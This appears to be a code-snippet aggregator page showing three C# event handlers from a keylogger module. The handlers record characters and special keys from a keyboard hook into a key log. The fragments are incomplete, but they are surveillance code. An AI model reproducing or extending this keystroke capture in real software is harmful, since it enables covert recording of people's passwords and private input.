Exemplo n.º 1
0
        private void _keyboardHook_StringUp(object sender, StringDownEventArgs e)
        {
            if (e.IsChar) //No key up for chars
            {
                return;
            }

            var key = (Keys)e.VCode;

            var specialKey = KeysToSpecialKey(key);
            var entry      = specialKey == 0
                ? (KeyLogEntry) new StandardKey((Shared.Commands.Keylogger.Keys)key, false)
                : new SpecialKey(specialKey, false);

            _keyLog.WriteSpecialKey(entry);
        }
Exemplo n.º 2
0
 private void _keyboardHook_StringDown(object sender, StringDownEventArgs e)
 {
     if (e.IsChar)
     {
         _keyLog.WriteString(e.Value);
     }
     else
     {
         var key        = (Keys)e.VCode;
         var specialKey = KeysToSpecialKey(key);
         var entry      = specialKey == 0
             ? (KeyLogEntry) new StandardKey((Shared.Commands.Keylogger.Keys)key, true)
             : new SpecialKey(specialKey, true);
         _keyLog.WriteSpecialKey(entry);
     }
 }
Exemplo n.º 3
0
 private void _keyProcessing_StringUp(object sender, StringDownEventArgs e)
 {
     StringUp?.Invoke(this, e);
 }